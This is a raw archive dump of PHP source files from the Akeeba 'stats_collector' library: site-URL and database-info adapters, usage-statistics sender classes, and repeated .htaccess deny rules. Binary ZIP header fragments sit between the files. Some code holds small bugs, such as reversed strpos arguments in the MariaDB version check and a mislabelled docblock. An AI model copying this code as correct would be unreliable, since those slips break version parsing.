		       && isset($akeebaSoloContainer)
		       && class_exists(Uri::class)
		       && class_exists(Container::class)
		       && !empty($this->getUrlReal());
	}

	/**
	 * Get the URL in the adapter-specific way
	 *
	 * @return  string|null  NULL if we cannot determine it
	 * @since   1.0.0
	 */
	private function getUrlReal(): ?string
	{
		/** @var Container $akeebaSoloContainer */
		global $akeebaSoloContainer;

		if (PHP_SAPI !== 'cli')
		{
			return Uri::base();
		}

		try
		{
			return $akeebaSoloContainer->application->getContainer()->appConfig->get('options.siteurl');
		}
		catch (Throwable $e)
		{
			return null;
		}
	}
}PK     \
%u    J  vendor/akeeba/stats_collector/src/SiteUrl/Adapter/GenericJoomlaAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\SiteUrl\Adapter;

use Joomla\CMS\Uri\Uri;

/**
 * Generic Site URL adapter for Joomla sites, version 4.2 and later.
 *
 * This is intended to be a fallback for Joomla! CLI applications when the component-specific code does not return a
 * valid URL.
 *
 * @since  1.0.0
 */
final class GenericJoomlaAdapter implements AdapterInterface
{

	/** @inheritDoc */
	public function getUrl(): string
	{
		return $this->getUrlReal() ?? '';
	}

	/** @inheritDoc */
	public function isAvailable(): bool
	{
		return defined('_JEXEC')
		       && !empty($this->getUrlReal());
	}

	/**
	 * Get the URL in the adapter-specific way
	 *
	 * @return  string|null  NULL if we cannot determine it
	 * @since   1.0.0
	 */
	private function getUrlReal(): ?string
	{
		if (PHP_SAPI !== 'cli')
		{
			return Uri::base();
		}

		/**
		 * Under CLI the default is to set the site URL to https://joomla.invalid/set/by/console/application so that the
		 * CLI application does not crash. If this is the case, we cannot return a valid URL.
		 *
		 * The user can pass the site's URL in the --live-site parameter.
		 */
		$possibleUrl = Uri::base();

		if (strpos($possibleUrl, 'joomla.invalid') !== false)
		{
			return null;
		}

		return $possibleUrl;
	}

}PK     \7    P  vendor/akeeba/stats_collector/src/SiteUrl/Adapter/AdminToolsWordPressAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\SiteUrl\Adapter;

use Akeeba\AdminTools\Library\Uri\Uri;

/**
 * Site URL adapter for Admin Tools for WordPress
 *
 * @since  1.0.0
 */
final class AdminToolsWordPressAdapter implements AdapterInterface
{

	/**
	 * @inheritDoc
	 */
	public function getUrl(): string
	{
		return Uri::base();
	}

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return defined('WPINC')
		       && class_exists(Uri::class)
		       && function_exists('home_url');
	}
}PK     \4F    M  vendor/akeeba/stats_collector/src/SiteUrl/Adapter/AdminToolsJoomlaAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\SiteUrl\Adapter;

/**
 * Site URL adapter for Admin Tools for Joomla!
 *
 * @since  1.0.0
 */
final class AdminToolsJoomlaAdapter extends AbstractJoomlaComponentAdapter
{
	public function __construct()
	{
		$this->componentName = 'com_admintools';
		$this->paramName     = 'siteurl';
	}

}PK     \QU/i  i  F  vendor/akeeba/stats_collector/src/SiteUrl/Adapter/AdapterInterface.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\SiteUrl\Adapter;

/**
 * Adapter to get the URL of the current site
 *
 * @since  1.0.0
 */
interface AdapterInterface
{
	/**
	 * Gets the URL of the current site
	 *
	 * @return  string
	 * @since   1.0.0
	 */
	public function getUrl(): string;

	/**
	 * Is this adapter available under the current environment?
	 *
	 * @return  bool
	 * @since   1.0.0
	 */
	public function isAvailable(): bool;
}PK     \V    G  vendor/akeeba/stats_collector/src/SiteUrl/Adapter/PanopticonAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\SiteUrl\Adapter;

use Akeeba\Panopticon\Container;
use Awf\Application\Application;
use Awf\Uri\Uri;

/**
 * Site URL adapter for Akeeba Panopticon
 *
 * @since  1.0.0
 */
final class PanopticonAdapter implements AdapterInterface
{

	/**
	 * @inheritDoc
	 */
	public function getUrl(): string
	{
		return Uri::base() ?? '';
	}

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return !defined('WPINC')
		       && class_exists(Uri::class)
		       && class_exists(Application::class)
		       && class_exists(Container::class);
	}
}PK     \}v    F  vendor/akeeba/stats_collector/src/SiteUrl/Adapter/ATSJoomlaAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\SiteUrl\Adapter;

/**
 * Site URL adapter for Akeeba Ticket System for Joomla!
 *
 * @since  1.0.0
 */
final class ATSJoomlaAdapter extends AbstractJoomlaComponentAdapter
{
	public function __construct()
	{
		$this->componentName = 'com_ats';
		$this->paramName     = 'siteurl';
	}

}PK     \ q    T  vendor/akeeba/stats_collector/src/SiteUrl/Adapter/AbstractJoomlaComponentAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\SiteUrl\Adapter;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Uri\Uri;
use Throwable;

/**
 * Abstract Site URL adapter for Joomla! components
 *
 * @since  1.0.0
 */
abstract class AbstractJoomlaComponentAdapter implements AdapterInterface
{
	/**
	 * The Joomla! component name
	 *
	 * @var   string
	 * @since 1.0.0
	 */
	protected $componentName = '';

	/**
	 * The component configuration parameter storing the site's URL
	 *
	 * @var   string
	 * @since 1.0.0
	 */
	protected $paramName = '';

	/**
	 * @inheritDoc
	 */
	public function getUrl(): string
	{
		return $this->getUrlReal() ?? '';
	}

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return defined('_JEXEC')
		       && class_exists(ComponentHelper::class)
		       && ComponentHelper::isEnabled($this->componentName)
		       && !empty($this->getUrlReal());
	}

	/**
	 * Get the URL in the adapter-specific way
	 *
	 * @return  string|null  NULL if we cannot determine it
	 * @since   1.0.0
	 */
	private function getUrlReal(): ?string
	{
		if (PHP_SAPI !== 'cli')
		{
			return Uri::base();
		}

		try
		{
			$params = ComponentHelper::getParams($this->componentName);

			return $params->get($this->paramName, null);
		}
		catch (Throwable $e)
		{
			return null;
		}
	}
}PK     \~5    G  vendor/akeeba/stats_collector/src/SiteUrl/Adapter/GenericAwfAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\SiteUrl\Adapter;

use Awf\Application\Application;
use Awf\Container\Container;
use Awf\Uri\Uri;
use Throwable;

/**
 * Site URL adapter for generic AWF applications
 *
 * @since  1.0.0
 */
final class GenericAwfAdapter implements AdapterInterface
{

	/**
	 * @inheritDoc
	 */
	public function getUrl(): string
	{
		return $this->getUrlReal() ?? '';
	}

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return !defined('WPINC')
		       && !isset($akeebaBackupWordPressContainer)
		       && class_exists(Uri::class)
		       && class_exists(Application::class)
		       && class_exists(Container::class)
		       && !empty($this->getUrlReal());
	}

	/**
	 * Get the URL in the adapter-specific way
	 *
	 * @return  string|null  NULL if we cannot determine it
	 * @since   1.0.0
	 */
	private function getUrlReal(): ?string
	{
		if (PHP_SAPI !== 'cli')
		{
			return Uri::base();
		}

		try
		{
			return Application::getInstance()->getContainer()->appConfig->get('options.siteurl');
		}
		catch (Throwable $e)
		{
			return null;
		}
	}
}PK     \H>    O  vendor/akeeba/stats_collector/src/SiteUrl/Adapter/AkeebaBackupJoomlaAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\SiteUrl\Adapter;

/**
 * Site URL adapter for Akeeba Backup for Joomla!
 *
 * @since  1.0.0
 */
final class AkeebaBackupJoomlaAdapter extends AbstractJoomlaComponentAdapter
{
	public function __construct()
	{
		$this->componentName = 'com_akeebabackup';
		$this->paramName     = 'siteurl';
	}

}PK     \(8\R  R  R  vendor/akeeba/stats_collector/src/SiteUrl/Adapter/AkeebaBackupWordPressAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\SiteUrl\Adapter;

use Awf\Uri\Uri;
use Solo\Container;
use Throwable;

/**
 * Site URL adapter for Akeeba Backup for WordPress
 *
 * @since  1.0.0
 */
final class AkeebaBackupWordPressAdapter implements AdapterInterface
{

	/**
	 * @inheritDoc
	 */
	public function getUrl(): string
	{
		return $this->getUrlReal() ?? '';
	}

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		global $akeebaBackupWordPressContainer;

		return defined('WPINC')
		       && isset($akeebaBackupWordPressContainer)
		       && class_exists(Uri::class)
		       && class_exists(Container::class)
		       && !empty($this->getUrlReal());
	}

	/**
	 * Get the URL in the adapter-specific way
	 *
	 * @return  string|null  NULL if we cannot determine it
	 * @since   1.0.0
	 */
	private function getUrlReal(): ?string
	{
		/** @var Container $akeebaBackupWordPressContainer */
		global $akeebaBackupWordPressContainer;

		if (PHP_SAPI !== 'cli')
		{
			return Uri::base();
		}

		try
		{
			return $akeebaBackupWordPressContainer->application->getContainer()->appConfig->get('options.siteurl');
		}
		catch (Throwable $e)
		{
			return null;
		}
	}
}PK     \`-vzV  V  M  vendor/akeeba/stats_collector/src/SiteUrl/Adapter/GenericWordPressAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\SiteUrl\Adapter;

/**
 * Site URL adapter for WordPress sites.
 *
 * @since  1.0.0
 */
final class GenericWordPressAdapter implements AdapterInterface
{

	/**
	 * @inheritDoc
	 */
	public function getUrl(): string
	{
		return home_url();
	}

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return defined('WPCLI')
		       && function_exists('home_url');
	}
}PK     \Sʉ      ;  vendor/akeeba/stats_collector/src/SiteUrl/Adapter/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \!˕c    E  vendor/akeeba/stats_collector/src/SiteUrl/Adapter/DarkLinkAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\SiteUrl\Adapter;

use Akeeba\DarkLink\Container;
use Awf\Application\Application;
use Awf\Uri\Uri;

/**
 * Site URL adapter for Akeeba Panopticon
 *
 * @since  1.0.0
 */
final class DarkLinkAdapter implements AdapterInterface
{

	/**
	 * @inheritDoc
	 */
	public function getUrl(): string
	{
		return Uri::base() ?? '';
	}

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return !defined('WPINC')
		       && class_exists(Uri::class)
		       && class_exists(Application::class)
		       && class_exists(Container::class);
	}
}PK     \Sʉ      3  vendor/akeeba/stats_collector/src/SiteUrl/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \&[X  X  ?  vendor/akeeba/stats_collector/src/DatabaseInfo/DatabaseInfo.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\DatabaseInfo;

use Akeeba\UsageStats\Collector\Constants\DatabaseType;
use Akeeba\UsageStats\Collector\DatabaseInfo\Adapter\AdapterInterface;
use Akeeba\UsageStats\Collector\DatabaseInfo\Adapter\AkeebaEngineAdapter;
use Akeeba\UsageStats\Collector\DatabaseInfo\Adapter\DarkLinkAdapter;
use Akeeba\UsageStats\Collector\DatabaseInfo\Adapter\JoomlaAdapter;
use Akeeba\UsageStats\Collector\DatabaseInfo\Adapter\PanopticonAdapter;
use Akeeba\UsageStats\Collector\DatabaseInfo\Adapter\WordPressAdapter;

/**
 * Automated database information collection
 *
 * @since  1.0.0
 */
final class DatabaseInfo
{
	const ADAPTERS = [
		JoomlaAdapter::class,
		WordPressAdapter::class,
		AkeebaEngineAdapter::class,
		PanopticonAdapter::class,
		DarkLinkAdapter::class,
	];

	/**
	 * The adapter for getting database information
	 *
	 * @var   AdapterInterface|null
	 * @since 1.0.0
	 */
	private $adapter = null;

	/**
	 * Get the database type
	 *
	 * @return  int
	 * @since   1.0.0
	 */
	public function getType(): int
	{
		$adapter = $this->getAdapter();

		if ($adapter === null)
		{
			return DatabaseType::UNKNOWN;
		}

		return $adapter->getType();
	}

	/**
	 * Get the database version
	 *
	 * @return  string
	 * @since   1.0.0
	 */
	public function getVersion(): string
	{
		$adapter = $this->getAdapter();

		if ($adapter === null)
		{
			return '0.0.0';
		}

		return $adapter->getVersion();
	}

	/**
	 * Get the appropriate adapter for getting database information
	 *
	 * @return  AdapterInterface|null
	 * @since   1.0.0
	 */
	private function getAdapter(): ?AdapterInterface
	{
		if ($this->adapter !== null)
		{
			return $this->adapter;
		}

		foreach (self::ADAPTERS as $className)
		{
			if (!class_exists($className))
			{
				continue;
			}

			/** @var AdapterInterface $o */
			$o = new $className;

			if (!$o->isAvailable())
			{
				continue;
			}

			return $this->adapter = $o;
		}

		return null;
	}

}PK     \    N  vendor/akeeba/stats_collector/src/DatabaseInfo/Adapter/AkeebaEngineAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\DatabaseInfo\Adapter;

use Akeeba\Engine\Factory;
use Akeeba\UsageStats\Collector\Constants\DatabaseType;
use Throwable;

/**
 * Database information adapter for Akeeba Engine, used in our backup software
 *
 * @since  1.0.0
 */
final class AkeebaEngineAdapter implements AdapterInterface
{

	/**
	 * @inheritDoc
	 */
	public function getType(): int
	{
		try
		{
			$db = Factory::getDatabase();
		}
		catch (Throwable $e)
		{
			return DatabaseType::UNKNOWN;
		}

		$driverType = $db->getDriverType();

		switch ($driverType)
		{
			default:
				return DatabaseType::UNKNOWN;

			case 'sqlite':
				return DatabaseType::SQLITE;

			case 'mysql':
				$rawVersion = $db->getVersion();
				$isMariaDB  = strpos($rawVersion, '-MariaDB') !== false;

				return $isMariaDB ? DatabaseType::MARIADB : DatabaseType::MYSQL;
		}
	}

	/**
	 * @inheritDoc
	 */
	public function getVersion(): string
	{
		try
		{
			$db = Factory::getDatabase();
		}
		catch (Throwable $e)
		{
			return '0.0.0';
		}

		$driverType = $db->getDriverType();
		$rawVersion = $db->getVersion();

		if ($driverType !== 'mysql')
		{
			return $rawVersion;
		}

		// Old MariaDB versions on Windows report their version as something like `5.5.5-10.0.17-MariaDB-log`
		if (strpos($rawVersion, '-MariaDB') !== false && strpos('5.5.5-', $rawVersion) === 0)
		{
			$rawVersion = substr($rawVersion, 6);
		}

		return $rawVersion;
	}

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return defined('AKEEBA') && class_exists(Factory::class);
	}
}PK     \XFG    K  vendor/akeeba/stats_collector/src/DatabaseInfo/Adapter/WordPressAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\DatabaseInfo\Adapter;

use Akeeba\UsageStats\Collector\Constants\DatabaseType;
use Throwable;
use wpdb;

/**
 * Database information adapter for WordPress sites
 *
 * @since  1.0.0
 */
final class WordPressAdapter implements AdapterInterface
{

	/**
	 * @inheritDoc
	 */
	public function getType(): int
	{
		global $wpdb;

		// Our WordPress software only runs on MySQL and MariaDB.
		try
		{
			if (!$wpdb->is_mysql)
			{
				return DatabaseType::UNKNOWN;
			}
		}
		catch (Throwable $e)
		{
			return DatabaseType::UNKNOWN;
		}

		$rawVersion = $wpdb->db_server_info();
		$isMariaDB  = false;

		// Old MariaDB versions on Windows report their version as something like `5.5.5-10.0.17-MariaDB-log`
		$isMariaDB = strpos($rawVersion, '-MariaDB') !== false;

		return $isMariaDB ? DatabaseType::MARIADB : DatabaseType::MYSQL;
	}

	/**
	 * @inheritDoc
	 */
	public function getVersion(): string
	{
		global $wpdb;

		// Our WordPress software only runs on MySQL and MariaDB.
		try
		{
			if (!$wpdb->is_mysql)
			{
				return '0.0.0';
			}
		}
		catch (Throwable $e)
		{
			return '0.0.0';
		}

		$rawVersion = $wpdb->db_server_info();
		// Old MariaDB versions on Windows report their version as something like `5.5.5-10.0.17-MariaDB-log`
		if (strpos($rawVersion, '-MariaDB') !== false && strpos('5.5.5-', $rawVersion) === 0)
		{
			$rawVersion = substr($rawVersion, 6);
		}

		return $rawVersion;
	}

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return defined('WPINC') && class_exists(wpdb::class);
	}
}PK     \s>    K  vendor/akeeba/stats_collector/src/DatabaseInfo/Adapter/AdapterInterface.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\DatabaseInfo\Adapter;

/**
 * Database Information adapter interface.
 *
 * @since 1.0.0
 */
interface AdapterInterface
{
	/**
	 * Get the database type
	 *
	 * @return  int
	 * @since   1.0.0
	 */
	public function getType(): int;

	/**
	 * Get the database version
	 *
	 * @return  string
	 * @since   1.0.0
	 */
	public function getVersion(): string;

	/**
	 * Is the adapter available under the current environment?
	 *
	 * @return  bool
	 * @since   1.0.0
	 */
	public function isAvailable(): bool;
}PK     \Pm    L  vendor/akeeba/stats_collector/src/DatabaseInfo/Adapter/PanopticonAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\DatabaseInfo\Adapter;

use Akeeba\Panopticon\Factory;
use Awf\Container\Container;

final class PanopticonAdapter extends AbstractAwfAdapter
{

	/** @inheritDoc */
	protected function getContainer(): ?Container
	{
		if (!class_exists(Factory::class))
		{
			return null;
		}

		return Factory::getContainer();
	}
}PK     \L1  1  M  vendor/akeeba/stats_collector/src/DatabaseInfo/Adapter/AbstractAwfAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\DatabaseInfo\Adapter;

use Akeeba\UsageStats\Collector\Constants\DatabaseType;
use Awf\Container\Container;
use Awf\Database\Driver;
use Throwable;

/**
 * Abstract database information adapter for AWF-based software
 *
 * @since  1.0.0
 */
abstract class AbstractAwfAdapter implements AdapterInterface
{

	/**
	 * @inheritDoc
	 */
	public function getType(): int
	{
		try
		{
			$db = $this->getContainer()->db;
		}
		catch (Throwable $e)
		{
			return DatabaseType::UNKNOWN;
		}

		switch ($db->name)
		{
			default:
				return DatabaseType::UNKNOWN;

			case 'sqlsrv':
			case 'sqlzure':
			case 'sqlazure':
				return DatabaseType::SQLSERVER;

			case 'postgresql':
			case 'pgsql':
				return DatabaseType::POSTGRESQL;

			case 'sqlite':
				return DatabaseType::SQLITE;

			case 'mysql':
			case 'mysqli':
			case 'pdomysql':
				$rawVersion = $db->getVersion();
				$isMariaDB  = strpos($rawVersion, '-MariaDB') !== false;

				return $isMariaDB ? DatabaseType::MARIADB : DatabaseType::MYSQL;
		}
	}

	/**
	 * @inheritDoc
	 */
	public function getVersion(): string
	{
		try
		{
			$db = $this->getContainer()->db;
		}
		catch (Throwable $e)
		{
			return '0.0.0';
		}

		$rawVersion = $db->getVersion();

		if (!in_array($db->name, ['mysql', 'mysqli', 'pdomysql']))
		{
			return $rawVersion;
		}

		// Old MariaDB versions on Windows report their version as something like `5.5.5-10.0.17-MariaDB-log`
		if (strpos($rawVersion, '-MariaDB') !== false && strpos('5.5.5-', $rawVersion) === 0)
		{
			$rawVersion = substr($rawVersion, 6);
		}

		return $rawVersion;
	}

	/** @inheritDoc */
	public function isAvailable(): bool
	{
		return class_exists(Driver::class) && $this->getContainer() !== null;
	}

	/**
	 * Get the container for this AWF-based software
	 *
	 * @return  Container|null
	 * @since   1.0.0
	 */
	abstract protected function getContainer(): ?Container;
}PK     \     H  vendor/akeeba/stats_collector/src/DatabaseInfo/Adapter/JoomlaAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\DatabaseInfo\Adapter;

use Akeeba\UsageStats\Collector\Constants\DatabaseType;
use Joomla\CMS\Factory;
use Joomla\Database\DatabaseDriver;
use Joomla\Database\DatabaseInterface;
use Throwable;

/**
 * Database information adapter for Joomla! sites, version 4 or later
 *
 * @since  1.0.0
 */
final class JoomlaAdapter implements AdapterInterface
{

	/**
	 * @inheritDoc
	 */
	public function getType(): int
	{
		try
		{
			/** @var DatabaseDriver $db */
			$db         = Factory::getContainer()->get(DatabaseInterface::class);
			$serverType = $db->getServerType();
		}
		catch (Throwable $e)
		{
			return DatabaseType::UNKNOWN;
		}

		switch ($serverType)
		{
			case 'mysql':
				if (method_exists($db, 'isMariaDb') && $db->isMariaDb())
				{
					return DatabaseType::MARIADB;
				}

				return DatabaseType::MYSQL;

			case 'postgresql':
				return DatabaseType::POSTGRESQL;

			case 'sqlite':
				return DatabaseType::SQLITE;

			case 'mssql':
				return DatabaseType::SQLSERVER;

			default:
				return DatabaseType::UNKNOWN;
		}
	}

	/**
	 * @inheritDoc
	 */
	public function getVersion(): string
	{
		try
		{
			/** @var DatabaseDriver $db */
			$db = Factory::getContainer()->get(DatabaseInterface::class);

			return $db->getVersion();
		}
		catch (Throwable $e)
		{
			return '0.0.0';
		}
	}

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return defined('_JEXEC') && interface_exists(DatabaseInterface::class);
	}
}PK     \Sʉ      @  vendor/akeeba/stats_collector/src/DatabaseInfo/Adapter/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \@v    J  vendor/akeeba/stats_collector/src/DatabaseInfo/Adapter/DarkLinkAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\DatabaseInfo\Adapter;

use Akeeba\DarkLink\Factory;
use Awf\Container\Container;

final class DarkLinkAdapter extends AbstractAwfAdapter
{

	/** @inheritDoc */
	protected function getContainer(): ?Container
	{
		if (!class_exists(Factory::class))
		{
			return null;
		}

		return Factory::getContainer();
	}
}PK     \Sʉ      8  vendor/akeeba/stats_collector/src/DatabaseInfo/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \>j!  !  F  vendor/akeeba/stats_collector/src/Sender/Adapter/AkeebaSoloAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\Sender\Adapter;

use Awf\Container\Container;

/**
 * Information Sending adapter for Akeeba Solo
 *
 * @since  1.0.0
 */
final class AkeebaSoloAdapter extends AbstractAwfAdapter
{
	/** @inheritDoc */
	protected function getContainer(): ?Container
	{
		global $akeebaSoloContainer;

		return $akeebaSoloContainer ?? null;
	}
}PK     \I    E  vendor/akeeba/stats_collector/src/Sender/Adapter/WordPressAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\Sender\Adapter;

/**
 * Information Sending adapter for WordPress sites
 *
 * @since  1.0.0
 */
final class WordPressAdapter implements AdapterInterface
{
	use ServerUrlTrait;

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return defined('WPINC')
		       && function_exists('wp_remote_get');
	}

	/**
	 * @inheritDoc
	 */
	public function sendStatistics(array $queryParameters): void
	{
		wp_remote_get(
			$this->getUrl($queryParameters), [
				'timeout'    => $this->getTimeout(),
				'user-agent' => $this->getUserAgent(),
			]
		);
	}
}PK     \fZ  Z  E  vendor/akeeba/stats_collector/src/Sender/Adapter/AdapterInterface.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\Sender\Adapter;

/**
 * Information Sending adapter interface
 *
 * @since  1.0.0
 */
interface AdapterInterface
{
	/**
	 * Is the adapter available under the current environment?
	 *
	 * @return  bool
	 * @since   1.0.0
	 */
	public function isAvailable(): bool;

	/**
	 * Sets the server URL
	 *
	 * @param   string  $url
	 *
	 * @return  void
	 */
	public function setServerUrl(string $url): void;

	/**
	 * Send the usage statistics information to the server
	 *
	 * @param   array  $queryParameters  The information to send
	 *
	 * @return  void
	 * @since   1.0.0
	 */
	public function sendStatistics(array $queryParameters): void;
}PK     \Bm"  "  C  vendor/akeeba/stats_collector/src/Sender/Adapter/ServerUrlTrait.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\Sender\Adapter;

/**
 * Trait to handle the server URL and stats URL generation
 *
 * @since  1.0.0
 */
trait ServerUrlTrait
{
	/**
	 * The URL to the statistics collection server
	 *
	 * @var   string
	 * @since 1.0.0
	 */
	private $serverUrl = '';

	/**
	 * Request timeout, in seconds
	 *
	 * @var   int
	 * @since 1.0.0
	 */
	private $timeout = 5;

	/**
	 * Sets the server URL
	 *
	 * @param   string  $url
	 *
	 * @return  void
	 * @since   1.0.0
	 */
	public function setServerUrl(string $url): void
	{
		$this->serverUrl = $url;
	}

	/**
	 * Get the request timeout, in seconds
	 *
	 * @return  int
	 * @since   1.0.0
	 */
	protected function getTimeout(): int
	{
		return $this->timeout;
	}

	/**
	 * Set the request timeout
	 *
	 * @param   int  $timeout  The timeout, in seconds
	 *
	 * @return  void
	 * @since   1.0.0
	 */
	public function setTimeout(int $timeout): void
	{
		$this->timeout = $timeout;
	}

	/**
	 * Get the URL to fetch
	 *
	 * @param   array  $queryParameters
	 *
	 * @return  string
	 * @since   1.0.0
	 */
	protected function getUrl(array $queryParameters): string
	{
		return $this->serverUrl . '?' . http_build_query($queryParameters);
	}

	/**
	 * Returns a custom User Agent string.
	 *
	 * @return  string
	 * @since   1.0.0
	 */
	protected function getUserAgent(): string
	{
		return 'AkeebaUsageStats/1.0';
	}
}PK     \ql_  _  F  vendor/akeeba/stats_collector/src/Sender/Adapter/PanopticonAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

